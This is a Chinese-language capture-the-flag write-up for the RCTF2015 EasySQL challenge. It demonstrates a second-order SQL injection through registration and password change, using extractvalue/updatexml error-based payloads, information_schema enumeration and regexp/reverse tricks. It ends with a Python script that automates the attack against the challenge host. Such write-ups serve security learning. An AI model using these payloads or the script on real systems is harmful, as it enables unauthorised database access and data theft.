• [wp][RCTF2015]EasySQL


    有修改密码怀疑是2次注入
    admin被注册
    sqli-lab24关中遇到过二次注入
    特地去看了下代码

    $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
    
    • 1

    一开始尝试admin’# 修改密码
    admin还是登陆不上
    使用admin"# 修改密码后,可以使用admin登陆上,但是没任何变化
    试下报错注入
    注册的时候发现有过滤

    1"||extractvalue(1,concat(0x7e,(database()),0x7e))#
    
    • 1

    得到数据库名:web_sqli

    1"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)=(database()))),0x7e))#
    
    • 1

    得到表名article,flag,users
    盲猜列名 flag

    1"||extractvalue(1,concat(0x7e,(select(group_concat(flag))from(flag)),0x7e))#
    
    • 1

    获得"~RCTF{Good job! But flag not her"

    疯了,只能试下别的表,希望不要是被我修改了的admin密码

    1"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)=('users'))),0x7e))#
    
    • 1

    real_flag_1s_here

    1"||extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)),0x7e))#
    
    • 1

    要截取长度

    1"||extractvalue(1,concat(0x7e,(mid(select(group_concat(real_flag_1s_here))from(users)),25,30)),0x7e))#
    
    • 1

    但是都过滤了还剩reverse

    看网上wp这里可以用正则

    1"||updatexml(1,concat(0x3a,((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp("^f")))),1)#
    
    • 1

    flag{39e03d63-12b8-480f-b56f-67

    1"||updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp("^f")))),1)#
    
    • 1

    }9c30afcd5376-f65b-f084-8b21-36

    拼接一下flag{39e03d63-12b8-480f-b56f-6735dcfa03c9}

    写下脚本

    import requests
    import time
    url="http://4c38467e-58d8-4f02-9b23-85db258bd948.node4.buuoj.cn:81"
    url_l=url+'/login.php'
    url_reg=url+'/register.php'
    url_ch=url+'/changepwd.php'
    
    # data='2"||extractvalue(1,concat(0x7e,(database()),0x7e))#'
    # data='2"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)=(database()))),0x7e))#'
    # data='''2"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)=('users'))),0x7e))#'''
    # data='''2"||updatexml(1,concat(0x3a,((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp("^f")))),1)#'''
    data='''2"||updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp("^f")))),1)#'''
    data_reg={'username':data,'password':1,'email':1}
    data_l={'username':data,'password':1}
    data_ch={'oldpass':1,'newpass':2}
    s=requests.Session()
    r=s.post(url_reg,data=data_reg)
    # print(r.text)
    r=s.post(url_l,data=data_l)
    # print(r.text)
    r=s.post(url_ch,data=data_ch)
    print(r.text)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22

    很简单的脚本,感觉这题写脚本会更快

  • 相关阅读:
    MySQL-树型结构数据查询
    【Vue】鼠标悬浮卡片展示可点击按钮
    python自学入门(打卡十二)2022-12-04
    深入了解Java的核心库
    Spring——Bean注入几种方式(放入容器)
    Seata入门系列【7】Seata之TCC模式入门案例
    Codeforces Round 597 (Div. 2) D (最小生成树)
    高性能高可用的全能httpclient方法封装
    MySQL binlog模式及主备的基本原理
    JS高阶:深入理解数据、变量、内存
  • 原文地址:https://blog.csdn.net/Yjlay/article/details/125622875